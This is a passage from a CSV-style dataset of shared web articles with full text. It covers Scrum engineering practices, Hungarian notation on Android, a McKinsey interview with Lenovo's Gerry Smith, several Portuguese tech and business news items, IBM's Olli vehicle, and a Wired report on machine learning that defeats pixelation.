method or function. They can move code from one class to another. They can rename things, or change the signature of a method. Using refactoring well, we can incrementally improve our design as we go. The operative word is "" well "", however. We do have to build up that skill. Incremental design improvement is necessary. Refactoring is how we do it. Programmer Testing We need programmer tests in addition to acceptance tests. Every feature we build is composed of many programming steps. In any of of those steps, we could make a mistake. We avoid these mistakes using programmer testing. One very good form of programmer testing is Test-Driven Development, which goes like this: Think of some small next step on the way to our feature. Write a test that should run when that step is complete. Run it: make sure it doesn't work now. Build the code to make the step complete. Run the test: make sure it works now. Check the code to see if it looks clear enough. If not, refactor it. Run the test again to be sure everything still works. Repeat until the feature is done. This isn't the only way we can do things, but it's one of the best we know right now. One way or another, it's very helpful to have a lot of little tests supporting each larger acceptance test, because the little tests tell us which bit we got wrong, while the acceptance test just screams ""Something Broke!"" These tests also help us with larger refactorings. I suppose a perfect TDD programmer could do all her design improvement in the TDD cycle, but my experience is that sometimes I don't notice a design problem right away. When that happens, I may need to put in some extra refactoring effort the next time I'm working with that code. Just like when we develop a feature, our tests can help us be sure we haven't broken anything with our design change. Continuous Integration Scrum requires a running, thoroughly-tested, usable increment, containing the value of all the backlog items from previous Sprints: a complete, running, tested, operable program. Obviously, this requires that all the team's work must wind up integrated, tested, and working together by the end of the Sprint. Delayed integration uncovers problems, many of which require substantial debugging. The longer we wait, the worse it gets. Conversely, if we integrate after making small working changes, it becomes much easier. An automated build process, running the system's test suite, turns out to be an essential part of a Scrum team's development process. For most teams, the more frequently they build, the better things go. Building ""all the time"" seems to go best, which is why this practice is called Continuous Integration. Surviving Dark Scrum TL;DR There is a common, perhaps inevitable Dark Scrum stage in many Scrum installations; Dark Scrum situations follow a common pattern; The Dev Team can make things better for themselves, and can move Dark Scrum toward real Scrum, a better place to be. If you'd like to provide input, my email is open at ronjeffries at acm dot org .",en
1473686450,CONTENT SHARED,-3716447017462787559,-1578287561410088674,1736179400644080759,,,,HTML,http://hipsters.tech/squads-nao-suicidas-hipsters-08/,Squads não-suicidas - Hipsters #08,"Como as equipes são divididas em uma empresa? Funciona bem? Eles tem o mesmo objetivo ou a mesma função? Nosso host Paulo Silveira conversa sobre mais um assunto da moda: Squads . Os esquadrões são uma forma que o Spotify encontrou para escalar Agile em empresas maiores, fazendo com que os times foquem em um objetivo comum e tenham autonomia... hummm ou algo assim. Muitas empresas abraçaram a técnica, com maior e menor sucesso. Vamos conversar sobre essa cultura e as dificuldades no processo de adoção. Participantes: Paulo Silveira , host do hipsters e gerente de produtos na Alura Pedro Axelrud , cuspidor de fogo e gerente de produtos no Nubank Gabriela Rojas , gerente de produtos no Nubank Marcell Almeida , gerente de produtos no Vivareal Pois é, não faltava gerente de produtos e startupeiro na sala! Links que apareceram: Produção e conteúdo: Alura Cursos online de Tecnologia Caelum Ensino e Inovação Edição e sonorização: Radiofobia Podcast e Multimídia",pt
1473687077,CONTENT SHARED,-2705245562881239338,-3596626804281480007,-7257503033981700415,,,,HTML,http://vocerh.uol.com.br/noticias/acervo/o-rh-chega-ao-board.phtml,O RH chega ao board,"Empresas procuram especialistas em gestão de pessoas para o conselho administrativo Tatiana Sendin Denys Monteiro: CEO da ZRG Partners no Brasil, é formado em psicologia e possui 20 anos de experiência em busca executiva | Crédito: Paulo Santos A alta rotatividade dos CEOs mudou de alguma forma a administração das empresas? O tempo de permanência do principal executivo subiu, mas ainda assim varia de cinco a sete anos - é pouco. Até alguns anos atrás, quando os conselhos administrativos discutiam sobre pessoas, era apenas para tratar da estratégia de remuneração. Mas, pensando na finitude do CEO e buscando a sustentabilidade dos negócios, os conselheiros estão começando a se preocupar com a sucessão e a estratégia de talentos. Com isso, vemos um crescente número de companhias buscando um profissional experiente em gestão de recursos humanos para compor o board. Por que isso está acontecendo agora? Faz parte de uma evolução dos conselhos administrativos do Brasil. No passado, o board era parecido com um clube de amigos. Depois, veio a fase dos figurões, com Abílio Diniz e grandes economistas sendo convidados para ser conselheiros. Agora há uma busca por diversidade de competências e qualificações. O grupo passa a ser composto de especialistas em tecnologia, finanças, marketing, sustentabilidade e RH, além dos próprios acionistas. O que muda no conselho com a presença de um RH? Muda a própria discussão do grupo. Quando não existe esse profissional, ninguém fala sobre a importância da comunicação ou da adaptação das pessoas, por exemplo. O executivo de RH consegue impor uma agenda crucial para as organizações, algo historicamente deixado para segundo plano. Sem um especialista em recursos humanos, os conselheiros gastam apenas 5% do tempo debatendo sobre pessoas. Os líderes de RH estão aptos para essa função? São poucos os preparados para esse papel. Para ser convidado para um conselho, o executivo deve apresentar resultados além das expectativas. Mas, se o RH não consegue quantificar o impacto de suas ações, ele não tem voz. E ainda falta a esse profissional a visão quantitativa, de data analyst. Parece que o RH fala uma linguagem só dele, baseada no qualitativo, no emocional. Se ele não provar como suas ações ajudam no aumento do market share ou no lucro, como ele conseguirá aprovar um investimento?",pt
1473688554,CONTENT SHARED,5008913705695203000,3302556033962996625,-7667010802419955831,,,,HTML,http://jakewharton.com/just-say-no-to-hungarian-notation/,Post: Just Say mNo to Hungarian Notation,"Just Say mNo to Hungarian Notation Every day new Java code is written for Android apps and libraries which is plagued with an infectious disease: Hungarian notation. The proliferation of Hungarian notation on Android is an accident and its continued justification erroneous. Let's dispel its common means of advocacy: "" The Android Java style guide recommends its use "" There is no such thing as an Android Java style guide that provides any guidance on how you should write Java code. Most people referencing this non-existent style guide are referring to the style guide for contributions to the Android Open Source Project (AOSP) . You are not writing code for AOSP so you do not need to follow their style guide. If you're working on code that might someday live in AOSP you don't even need to follow this style guide. Almost all of the Java libraries imported by AOSP do not follow it, and even some of the ones developed inside of AOSP don't either. "" The Android samples use it "" These samples started life in the platform inside of AOSP so they adhere to the AOSP style. For those which did not come from AOSP, the author either incorrectly believes the other points of advocation in this post or simply forget to correct their style when writing the sample. "" The extra information helps in code review "" The 'm' or 's' prefix on name indicates a private/package instance field or private/package static field, respectively, where this would otherwise not be known in code review. This assumes the field isn't visible in the change, since then its visibility would obviously be known regardless. Before I attempt to refute this, let's define Hungarian notation. According to Wikipedia , there are two types of Hungarian notations: System notation encoded the data type of the variable in its name. A user ID that was a long represented in Java would name a variable lUserId to indicate both usage and type information. Apps notation encoded the semantic use of the variable rather than it's logical use or purpose. A variable for storing private information had a prefix (like mUserId ) whereas a variable for storing public information had another prefix, or none whatsoever. So when you see the usage of a field, which piece of information is more important for the review: the visibility of that field or the type of that field? The visibility is a useless attribute to care about in a code review. The field is already present and available for use, and presumably its visibility was code-reviewed in a previous change. The type of a field, however, has a direct impact on how that field can being used in the change. The correct methods to call, the position in arguments, and the methods which can be called all are directly related to its type. Not only is advocating for 'apps' Hungarian wrong because it's not useful, but it's doubly wrong since 'system' Hungarian would provide more relevant info. That's not to say you should use 'system', both the type and visibility of a field changes and you will forget to update the name. It's not hard to find static mContext fields , after all. "" The extra information helps in development "" Android Studio and IntelliJ IDEA visually distinguish field names based on membership (instance or static): IDEs will enforce correct membership, visibility, and types by default so a naming convention isn't going to add anything here. A popup showing all three properties (and more) of a field is also just a keypress away. "" I want to write Java code like Google does "" While Android and AOSP are part of the company, Google explicitly and actively forbids Hungarian notation in their Java style guide . This public Java style guideline is the formalization of long-standing internal conventions. Android had originated outside of Google and the team early on chose to host the Hungarian disease. Changing it at this point would be needless churn and cause many conflicts across branches and third-party partners. With your continued support and activism on this topic, this disease can be eradicated in our lifetime. mFriends don't let sFriends use Hungarian notation! - Jake Wharton",en
1473691990,CONTENT SHARED,-7193893108516217330,2416280733544962613,677017040418886419,,,,HTML,http://www.mckinsey.com/industries/high-tech/our-insights/speed-for-simplicity-an-interview-with-lenovos-gerry-smith,Speed for simplicity: An interview with Lenovo's Gerry Smith,"Simpler to use, cheaper to operate, faster to implement, easier to adapt-what IT customers want is changing an entire industry, and one of its largest players. Founded in China as Legend Holdings in 1984, the technology giant Lenovo has grown to become the world's largest manufacturer of PCs: in mid-2016, industry analyst Gartner reported that the company's global market share was more than 20 percent. Yet personal computers represent only part of the business . The data-center group is growing rapidly-sales are up 73 percent for the year ended March 31, 2016, reaching $4.6 billion. And with Gartner reporting that total PC sales were almost 10 percent lower in the first quarter of 2016 than they had been a year earlier, Lenovo is making profound changes to take advantage of new opportunities. Gerry Smith, who recently became president of Lenovo's data-center business after serving as chief operating officer of the PC and enterprise-business group, has been helping to oversee the company's transformation. He spoke with McKinsey's Karel Eloot, Christian Johnson, and Jean-Frederic Kuentz from his office in Silicon Valley. McKinsey: In a rapidly changing technology environment, what are the most important strategic questions that Lenovo's operations have had to address? Gerry Smith: The main question is how to adapt to the major changes in customer requirements. Although the answers are similar across the organization, the reasons differ somewhat by sector. In the data-center business, for example, the challenge for the whole industry is to realign product portfolios more closely with what I would call the ""new IT"" -cloud-based, open-source, software-defined offerings that operate on a tightly integrated, hyperconverged architecture. That's a huge transition requiring a stronger cost position, improved go-to-market capabilities, and deeper customer engagement. For PCs and smart devices, the equivalent transition is from ""speeds and feeds""-when customers compare products mainly on simple numbers, such as CPU speed-to a focus on ease of use, aesthetics, and industrial design. The standard laptop is evolving into a detachable, or hybrid, device that users can treat as a tablet, a laptop, a display-whatever best fits their needs at the moment. Again, the customer's mind and requirements are completely different from what they were five years ago, so our primary task is to invest in understanding these needs and values. Yet we also have to keep tight control over costs. McKinsey: The competitive landscape is changing rapidly, as well-no? Gerry Smith: It's a broader range of competitors, certainly, not just the four or five names that led in PCs years ago. Software companies, consumer-technology players, network-equipment manufacturers-they're all in the mix now, with new entrants from China and India as well. That's adding to the pressure to focus on customer requirements. Gerry Smith biography McKinsey: What are some of the opportunities that your leadership team finds especially exciting? Gerry Smith: There's no question that the traditional PC market is declining, but we're finding that the detachable-PC market is actually growing very rapidly. It reminds me of the inflection point, a few years ago, from the traditional desktop to the all-in-one. Now we have to do the same thing as changing usage requirements once again alter the PC's form factor. We see something similar going on in the enterprise space: traditional data centers are declining, while hyperscale, converged, and hyperconverged data centers are all growing pretty rapidly. There's potential for them to grow even faster because people want the choices that the newer IT offers-the ability to operate in a hybrid cloud with a lot of flexibility rather than being stuck in older, closed architectures. McKinsey: What sorts of operational implications do you see? Gerry Smith: Your whole business model has to change as you move from a product-centric company to a customer-centric company . For instance, we had to change our product-development processes-the inputs are completely different from what they were in the past, with much more extensive customer-feedback mechanisms . We had to evolve our products constantly. We had to reduce our time to market. We had to revamp our supply chains. McKinsey: That's a lot to undertake at once. Gerry Smith: It wasn't an immediate ""flip the light switch,"" but I believe you really do need to jolt the organization. That means you can't do this gradually. McKinsey: How did you convey that message? Gerry Smith: First, we needed strategic clarity . A survey of 30 of our senior executives showed some inconsistency in strategic vision even at the very top of our organization. We were shocked, to be honest; we thought we had done a lot of work together on developing and communicating our strategy, but it clearly wasn't effective enough. We went to the leadership team and said that people might disagree with the findings and come up with any number of reasons why they shouldn't be true, but this is the reality we have to address. The result was an intensive strategic review that yielded a much more genuine internal alignment. Without it, I don't think the type of rapid operational changes we made would have been possible. McKinsey: Where was alignment most difficult? Gerry Smith: Both in consumer and in enterprise IT, customers want far greater customization, yet we still have to maintain our cost discipline. My personal view is that the lowest-cost operating model wins, so you have to figure out a way to do both customization and cost discipline. That means conducting a lot of conversations to find opportunities. I think we're getting there. We reduced our cost basis by more than $600 million. But at the same time, we also changed our performance metrics to incorporate a much larger customer-experience component. McKinsey: So you're applying what traditionally was a consumer-oriented metric to the enterprise side? Gerry Smith: Yes. A lot of people still think that enterprise IT is completely different from consumer, but we're finding that although the criteria an enterprise decision maker uses may be more complex, many of the requirements are fundamentally the same. In some respects, the enterprise market is maturing in much the same way as the PC market did five or ten years ago-there is more focus on factors such as modularity, scalability, or total cost of ownership than we used to see. Some enterprise clients are moving even faster. We're hearing a lot of feedback from enterprise customers that they want the simplicity they're used to having in consumer IT. As a result, today it's possible to plug a hyperconverged product into a system and have it up and running within a couple of hours, which would have been unheard of just three or four years ago. McKinsey: Large organizations have long struggled to get the customer-insights and marketing-oriented functions to collaborate more effectively with their counterparts in product design, supply-chain management, and manufacturing. How have those relationships evolved at Lenovo? Gerry Smith: We first started to look at our functions from an end-to-end perspective back in 2006-07. Other companies kept manufacturing and procurement isolated from each other, but we recognized that to be truly effective, supply-chain management needed an integrated view. Since then, we've extended that basic idea across Lenovo and distilled it into a common set of performance indicators that apply to everyone. Customer experience, cost, and innovation all matter, regardless of where a person is working-product design, supply chain, engineering, or marketing. It's just a question of adapting the indicators to the role. A nontraditional organization design helps as well, reinforcing the message that we measure people consistently across the entire company. An incumbent's guide to digital disruption Read the article McKinsey: What changes made the organization design nontraditional? Gerry Smith: Our whole structure is now customer segment focused rather than product focused. For our hyperscale clients, for example, everything from product development to procurement to sales now sits in a single organization. It's a flat, speed-based model that helps us make decisions quickly in a part of the market where requirements are constantly evolving. This idea is extremely important to make sure we stay focused on knowing who the customer is and what the customer needs . McKinsey: Under this new model, how does the role of suppliers change? Is Lenovo changing what it thinks of as internal and external? Gerry Smith: We're focusing more on partners that have the same vision and requirements as ours. You have to align at the highest levels, which means that I spend a lot of my time listening to our partners, influencing them-sometimes pushing them-in extensive discussions on strategy and technological evolution. Many of our partners get it, and because they do, we're doubling down on these relationships. The ones that are stuck in a more traditional mind-set, when the industry didn't change so quickly, when there was a steady evolution, not the revolution we're seeing today-well, they risk being left behind as new opportunities arise. McKinsey: How does that partner engagement work? Gerry Smith: By being close to people. I live in Silicon Valley exactly for that reason. I can drive down the street and talk to two different companies in, say, all-flash arrays and have deep conversations about where they could fit into Lenovo's strategy. McKinsey: So Silicon Valley remains critical for you. Gerry Smith: Yes, I think being in the valley is a huge advantage -it will likely always be a nerve center for us. But we've also recognized the importance of being close to the emerging inflection points for technology trends. So, for example, I'm spending a lot of time in Israel because we think Israel is becoming a huge base for the enterprise and data-storage markets. McKinsey: How is Lenovo's footprint changing in light of these developments? Gerry Smith: Now more than ever, we have to be extremely global to be effective. We don't have a single office where we all sit together and see each other every day. That would be nice from a communication perspective, but we think it's more important to be closer to our technology partners and where the market is changing. This is reflected in our leadership team. Our CEO and CFO are both in China. Our COO is Italian but lives in Switzerland, and I live in the United States. And I've purposely built my staff to be spread around the world. For example, my sales leader is in Hong Kong, not the US, because I want him to be able to address Japan, China, and other top markets around the world, in addition to the US. I think, ""Where can someone be-and be a plane ride away from keeping our customers happy and satisfied?"" McKinsey: What factors weigh into your location decisions ? Gerry Smith: First, I go back to principles and remind myself that the best thing that ever happened to me in my career was when a previous employer moved me to Singapore. I got a completely different perspective looking back at the corporate headquarters and thinking, ""Man, those guys aren't seeing what's changing out here in the real world."" It's easy to get insulated and stop seeing global markets for what they are. The requirements of a data center in China are very different from a US data center's requirements, which in turn are different from those of a data center in Western Europe. We have to make sure we're hearing those individual markets and developing different products for them. McKinsey: How do you keep complexity and cost from creeping back in? Gerry Smith: It's a balance. We actually discovered that our product line was both too complex and too simple at the same time. What I mean is that our portfolio was designed for US-based customers, with a ton of complexity. Now we're moving toward a simplified product line that allows for far more global diversity and more IT diversity as well. It's a radically different structure. But we built our measurement system and our business-management system to make sure that we can operate on a truly global basis, not just regionally. McKinsey: Given Lenovo's history as a Chinese company, how do you see the role of China evolving, operationally, for the company? Gerry Smith: China's demographics alone are so compelling, with a middle class that's still growing and with India and Southeast Asia right next door. We think there's no question that to be a successful enterprise over the next 10 to 20 years, you have to be a major player in all three of those places. Of course, the US is still the largest economy in the world and an extremely important business. I'm proud that we have a huge facility in Raleigh, North Carolina, to serve that market, and I think technology innovation is clearly still driven from right here in Silicon Valley. My belief is that we have to participate in every one of these large and growing markets, and that means being there. McKinsey: At that scale, though, how does an organization engage people, particularly when the cycle of change is becoming almost constant? Gerry Smith: Part of the answer is strategic clarity, but culture is even more important . We realized that we needed to get to one culture as a team, across all of our businesses-PCs, data centers, mobile, everything. As leaders, we made a commitment to get out, face to face, and communicate that message around the world. It's tough-we spend a lot of time in airplanes-but it really helps, because everyone wants to know the direction, the vision, and the expectations that we're trying to drive as an organization. McKinsey: What's the biggest change you see in the organization? Gerry Smith: The world is about speed these days. Speed wins wars. Speed wins in business. The quicker we can realize a benefit-a savings opportunity right now or a new product next week or a whole new cost structure next month-the better our position, because our competitor could be wasting time on internal politics. Speed is much harder in the $50 billion company we are today, versus 2006, when we were roughly a third of the size, but we're learning how to do this. McKinsey: How can you tell that the changes are really taking hold? Gerry Smith: Three weeks ago, in a staff meeting, I made the decision to invest in a new technology even though I don't have the budget right now to do this. A year ago, I would have never made that decision, but this whole process has given me confidence that our organization can find even more efficiency opportunities . That was a huge inflection point for me. Taking out a half-billion in expenses wasn't easy. But now we have the right mechanisms in place, so we won't have to repeat that exercise. We're asking people to tell us what else is broken, and we can go fix it. We're asking: Do you agree with our strategy? Do you agree with our vision? Do you agree with our direction? That listening is essential, not only for us to keep improving but also for us to hold on to our people. I think we're in a completely different market position now. We're much more competitive from a cost perspective. We've aligned our portfolio. We still have work to do, but the journey we're taking is a good one. About the author(s) Karel Eloot and Jean-Frederic Kuentz are senior partners in McKinsey's Shanghai and Taipei offices, respectively, and Christian Johnson is a senior editor in the Hong Kong office.",en
1473694470,CONTENT SHARED,-2720012228333470715,3217014177234377440,4115185045256903778,,,,HTML,http://corporate.canaltech.com.br/noticia/empresas-tech/nubank-comeca-a-testar-seu-programa-de-fidelidade-79675/,Nubank começa a testar seu programa de fidelidade - Empresas Tech,"Por Redação | em O Nubank iniciou testes com seu novo programa de fidelidade. A empresa selecionou um grupo de usuários Android para acessar a novidade já nesta segunda-feira (12). Com o programa de fidelidade, é possível acumular pontos de acordo com os valores das compras realizadas com o cartão, que podem ser utilizados para pagar diárias em hotéis, passagens aéreas, corridas de Uber e mensalidades de serviços de streaming como Spotify e Netflix. Segundo Cristina Junqueira, vice-presidente de desenvolvimento de negócios e cofundadora do Nubank, o programa de fidelidade foi totalmente desenvolvido pela companhia, que destacou uma equipe de 20 pessoas para trabalhar exclusivamente no projeto durante um ano. ""Não queríamos ter um programa de fidelidade igual ao dos outros cartões. Esperar até o fechamento da fatura para saber quantos pontos foram creditados não faz parte da experiência que queremos oferecer"", disse a executiva. Os que têm interesse em utilizar o programa de fidelidade terão de pagar uma anuidade. O valor ainda não foi revelado pela empresa, mas os 30 primeiros dias serão gratuitos. Os testes realizados serão expandidos, a partir de outubro, também para usuários de iPhone. Até o final do ano, a empresa pretende disponibilizar o programa de recompensas para todos os clientes. Os que foram selecionados receberão um convite para aderir ao programa a partir de hoje. Para cada R$ 1 em compras, o usuário receberá 1 ponto. Na conversão para dinheiro, cada ponto valerá menos do que R$ 1, mas a empresa não revelou o valor de tal conversão. O saldo do programa de fidelidade será exibido na tela do aplicativo e atualizado em tempo real, sempre que o usuário realizar uma compra através do cartão. Os pontos acumulados também não terão data para expirar. Para utilizar os pontos, o usuário deve realizar a compra de uma passagem aérea, por exemplo, e depois acessar o programa de fidelidade e ""apagar"" a despesa utilizando os pontos acumulados. De acordo com Cristina, por enquanto o Nubank não procura novos parceiros para o programa de fidelidade, mas eles poderão ser ampliados no futuro. Com o programa de fidelidade, o Nubank espera atrair consumidores com renda maior que o dobro da média de seus clientes atuais. Mais de 5,5 milhões de brasileiros já solicitaram o cartão de crédito do Nubank desde 2013, quando a empresa foi fundada. A startup não revela quantos clientes receberam aprovação para receber, de fato, o cartão.",pt
1473695293,CONTENT SHARED,4039031731864440026,881856221521045800,-2980396868411506251,,,,HTML,https://www.ibm.com/blogs/internet-of-things/olli-ai/,Olli: Artificial Intelligence for the real world of connected commuting,"Automotive Moving fast with Olli. From concept, to prototype, through design, out into the market, and taking orders for sales of vehicles - all in less than three months. That's what disruptive technology is about. Olli is built by Local Motors , the start-up famous for creating the first 3D printed car. However, the brains for Olli were provided by IBM, which contributed its Watson artificial intelligence technology to the vehicle. Together, IBM and Local Motors have produced a vehicle that does far more than simply drive a predetermined route. Instead, Olli combines the capabilities of a chauffeur, a tour guide and a technology expert to communicate with passengers using spoken conversational language. Powered by IBM's Watson Internet of Things (IoT) for Automotive , Olli can take passengers to requested destinations, provide recommendations on where to go and answer questions about the vehicle, the journey and the surrounding environment. Learn more. Read the full story here . The adage 'garbage in, garbage out' may once have held true, particularly in the land of software programming where it originated, but in today's connected world, the Internet of Things is flipping it into 'one man's trash is another man's treasure' - literally. A team from the National Taipei University of Technology's Department of Electronic [...] For those wanting to dive in to IoT, our partnership with Cisco and SilverHook is the perfect example of why you should take the plunge, and get your feet wet... SilverHook powerboats These stunning vehicles reach speeds surpassing 100 MPH in the open ocean. SilverHook Powerboats pride themselves on their advanced monohull designs. These specialized [...] What's the future of mobility? How soon will we see self-driving cars? With ever increasing numbers of us living in cities, will we be able to get around or will we be trapped in perpetual gridlock? These are some of the thorny topics that AutoBlog wrestles with and on 6 October in Detroit, Michigan, they're [...]",en
1473698732,CONTENT SHARED,-3944300307678659798,-9047547311469006438,1703941476780379613,,,,HTML,http://www.fabioprado.net/2016/09/dba-brasil-no-interopmix-2016.html,DBA BRASIL no INTEROPMIX 2016,"Olá pessoal, No papel de um dos Organizadores do grupo DBA BRASIL, quero lhe comunicar através desse post, que teremos 2 novos eventos (em São Paulo e Curitiba) nos próximos meses (10 e 11/2016). Segue abaixo a mensagem CONVITE formatada pela ORGANIZAÇÃO, para que você venha desfrutar do conhecimento que será adquirido em nossas palestras: Olá Convidamos todos a participarem do INTEROPMIX 2016. O evento tratará de vários assuntos sobre interoperabilidade, IOT e tecnologias abertas. O DBA Brasil não poderia ficar de fora e também estará participando com um dia inteiro de palestras sobre Bancos de Dados. Vitor Tadeu Fava , Dennes Torres , Thiago Cruz , Fábio Telles Rodriguez z, Douglas Paiva , Juliano Atanazio e Thiago Ferreira serão alguns dos palestrantes presentes em São Paulo. Em Curitiba teremos a participação do Milton Bastos . Além disso teremos a gravação em São Paulo de um episódio do DatabaseCast . Para maiores informações: Não fique de fora! Se tiver qualquer dúvida sobre os eventos, deixe um comentário que eu o responderei o mais breve possível.",pt
1473699578,CONTENT SHARED,39554158227241538,1895326251577378793,-2338902864214323528,,,,HTML,https://brasil.googleblog.com/2016/08/campus-sao-paulo-conheca-primeira-turma.html,Campus São Paulo: conheça a primeira turma do Programa de Residentes,"Desde que abrimos nossas portas em junho , trabalhamos intensamente para que o Campus São Paulo seja o espaço onde os empreendedores possam aprender, se conectar e criar empresas que mudem o Brasil e o mundo. Uma parte importante desta tarefa é trazer para o Campus times ousados, amantes da tecnologia, e que estejam trabalhando em ideias com potencial de impacto. Além disso, buscamos empreendedores engajados no fortalecimento da comunidade de startups. É por isso que estamos muito felizes em anunciar hoje a primeira turma do Programa de Residentes do Campus São Paulo. Tivemos um total de 857 inscrições de startups incríveis e, depois de longas semanas de análises, discussões e entrevistas com a ajuda de um comitê composto por empreendedores, investidores e especialistas do Google e de fora, selecionamos um forte grupo de 15 startups. Como residentes, as startups terão seis meses de espaço de trabalho no Campus São Paulo, acesso à rede de experts do Google, oportunidades para participar de programas de imersão globais e eventos exclusivos. Tudo isso é oferecido para os residentes sem nenhum custo - tudo o que pedimos é que os empreendedores se envolvam e compartilhem os seus conhecimentos e experiências com a comunidade de startups para que mais negócios tenham sucesso e continuem desenvolvendo a cultura empreendedora do país. Área de trabalho que as empresas selecionadas vão ocupar no Campus São Paulo Veja abaixo a lista de startups selecionadas para a Turma 1 do Programa de Residentes: O AlugaLogo é uma plataforma para locação de equipamentos para construção e indústria. Ela conecta locatários e locadores, aumentando a velocidade de contratação e reduzindo a frota ociosa. A Baby&Me é uma marca de produtos práticos e inovadores para a primeira infância, amparada por uma comunidade de mães que participa ativamente da criação e distribuição desses produtos. A Bliive é uma rede colaborativa de troca de tempo que empodera pessoas a viverem novas experiências usando seus conhecimentos e habilidades como moeda. A Cuponeria oferece cupons de desconto e conecta anunciantes ao público final. É um serviço de mídia de performance para o varejo e também uma plataforma de economias para os usuários. A Easycrédito conecta pessoas que dispõem de pouco acesso a serviços financeiros com empresas que oferecem empréstimos e financiamentos. A plataforma cria uma experência de contratação de crédito online com foco no consumidor. A Idwall é uma plataforma que automatiza o processo de decisão de empresas através da coleta automática de dados e inteligência artificial. Uma tecnologia que pode ser aplicada em diversos tipos de indústrias, setores e diferentes departamentos dentro de uma mesma empresa. A Nama é uma plataforma SaaS de CRM e chat que usa inteligência artificial para atender usuários conectados através de Chat Web, Facebook, SMS, Telegram, Slack, entre outros. A New Hope Ecotech conecta empresas de bens de consumo com recicladores através de Certificados de Reciclagem gerando impacto ambiental, social e financeiro. A ProDeaf quebra barreiras da comunicação por meio de uma plataforma que traduz línguas orais para línguas de sinais. A Scicrop é uma startup de tecnologia para o agronegócio. Ela traz uma solução de smart farming e big data analytics que permite análises de risco, aumento da produtividade e otimização de recursos no campo. A SenseData é uma plataforma de Customer Success que apoia seus usuários na gestão e fidelização de seus clientes. A Smarttbot trabalha com automação de investimentos na Bolsa de Valores. Os robôs retiram o fator psicológico do processo de investimento por parte de seus clientes e os liberam da necessidade de monitorar constantemente o mercado e seus constantes movimentos. A StoryMax cria app-livros atraentes e engajadores para tablets e smartphones, proporcionando experiências de leitura profunda, reflexão e aprendizado. O Trakto é um aplicativo que permite que profissionais e empresas criem e publiquem materiais de marketing de impacto. A Upbeat Games é uma desenvolvedora de jogos para plataformas móveis. Sua missão é criar jogos sociais divertidos e de alto engajamento que possam ser jogados de qualquer lugar através de dispositivos móveis. Em breve teremos novidades sobre as inscrições para a seleção da Turma 2 do Programa de Residentes do Campus São Paulo. Fiquem ligados! Aos novos residentes, ficamos muito felizes em abrir as portas da nossa casa. Sejam muito bem-vindos! Postado por André Barrence, diretor do Campus São Paulo",pt
1473701160,CONTENT SHARED,8339561640071198727,-1443636648652872475,3922584500788416214,,,,HTML,https://www.wired.com/2016/09/machine-learning-can-identify-pixelated-faces-researchers-show/,"Machine Learning Can Identify Pixelated Faces, Researchers Show","Pixelation has long been a familiar fig leaf to cover our visual media's most private parts. Blurred chunks of text or obscured faces and license plates show up on the news, in redacted documents, and online. The technique is nothing fancy, but it has worked well enough, because people can't see or read through the distortion. The problem, however, is that humans aren't the only image recognition masters around anymore. As computer vision becomes increasingly robust , it's starting to see things we can't. Researchers at the University of Texas at Austin and Cornell Tech say that they've trained a piece of software that can undermine the privacy benefits of standard content-masking techniques like blurring and pixelation by learning to read or see what's meant to be hidden in images-anything from a blurred house number to a pixelated human face in the background of a photo. And they didn't even need to painstakingly develop extensive new image uncloaking methodologies to do it. Instead, the team found that mainstream machine learning methods-the process of ""training"" a computer with a set of example data rather than programming it -lend themselves readily to this type of attack. ""The techniques we're using in this paper are very standard in image recognition, which is a disturbing thought,"" says Vitaly Shmatikov, one of the authors from Cornell Tech. Since the machine learning methods employed in the research are widely known-to the point that there are tutorials and training manuals online-Shmatikov says it would be possible for a bad actor with a baseline of technical knowledge to carry out these types of attacks. Additionally, more powerful object and facial recognition techniques already exist that could potentially go even further in defeating methods of visual redaction. The researchers were able to defeat three privacy protection technologies, starting with YouTube's proprietary blur tool. YouTube allows uploaders to select objects or figures that they want to blur, but the team used their attack to identify obfuscated faces in videos. In another example of their method, the researchers attacked pixelation (also called mosaicing). To generate different levels of pixelation, they used their own implementation of a standard mosaicing technique that the researchers say is found in Photoshop and other commons programs. And finally, they attacked a tool called Privacy Preserving Photo Sharing (P3), which encrypts identifying data in JPEG photos so humans can't see the overall image, while leaving other data components in the clear so computers can still do things with the files like compress them. To execute the attacks, the team trained neural networks to perform image recognition by feeding them data from four large and well-known image sets for analysis. The more words, faces, or objects a neural network ""sees,"" the better it gets at spotting those targets. Once the neural networks achieved roughly 90 percent accuracy or better on identifying relevant objects in the training sets, the researchers obfuscated the images using the three privacy tools and then further trained their neural networks to interpret blurred and pixelated images based on knowledge of the originals. Finally, they used obfuscated test images that the neural networks hadn't yet been exposed to in any form to see whether the image recognition could identify faces, objects, and handwritten numbers. For some data sets and masking techniques, the neural network success rates exceeded 80 percent and even 90 percent. In the case of mosaicing, the more intensely pixelated images were, the lower the success rates got. But their de-obfuscating machine learning software was often still in the 50 percent to 75 percent range. The lowest success rate was 17 percent on a data set of celebrity faces obfuscated with the P3 redaction system. If the computers had been randomly guessing to identify the faces, shapes, and numbers, however, the researchers calculated that the success rates for each test set would have been at most 10 percent and as low as a fifth of a percent, meaning that even relatively low identification success rates were still far better than guessing. Even if the group's machine learning method couldn't always penetrate the effects of redaction on an image, it still represents a serious blow to pixelation and blurring as a privacy tool, says Lawrence Saul, a machine learning researcher at University of California, San Diego. ""For the purposes of defeating privacy, you don't really need to show that 99.9 percent of the time you can reconstruct"" an image or string of text, says Saul. ""If 40 or 50 percent of the time you can guess the face or figure out what the text is then that's enough to render that privacy method as something that should be obsolete."" It's worth noting that the research isn't doing image reconstruction from scratch, and can't reverse the obfuscation to actually recreate pictures of the faces or objects it's identifying. The technique can only find what it knows to look for-not necessarily an exact image, but things it's seen before, like a certain object or a previously identified person's face. For example, in hours of CCTV footage from a train station with every passerby's face blurred, it wouldn't be able to identify every individual. But if you suspected that a particular person had walked by at a particular time, it could spot that person's face among the crowd even in an obfuscated video. Saul notes that an additional challenge would have been to test the neural networks on obfuscated images collected from a broader array of real-world situations and conditions, instead of only testing on more standardized images from existing data sets. But based on their current findings, he argues that more practical application would likely be possible. The researchers' larger goal is to warn the privacy and security communities that advances in machine learning as a tool for identification and data collection can't be ignored. There are ways to defend against these types of attacks, as Saul points out, like using black boxes that offer total coverage instead of image distortions that leave traces of the content behind. Better yet is to cut out any random image of a face and use it to cover the target face before blurring, so that even if the obfuscation is defeated, the identity of the person underneath still isn't exposed. ""I hope the result of this paper will be that nobody will be able to publish a privacy technology and claim that it's secure without going through this kind of analysis,"" Shmatikov says. Putting an awkward black blob over someone's face in a video may be less standard today than pixelating it out. But it may soon be a necessary step to keep vision far more penetrating than ours from piercing those pixels.",en
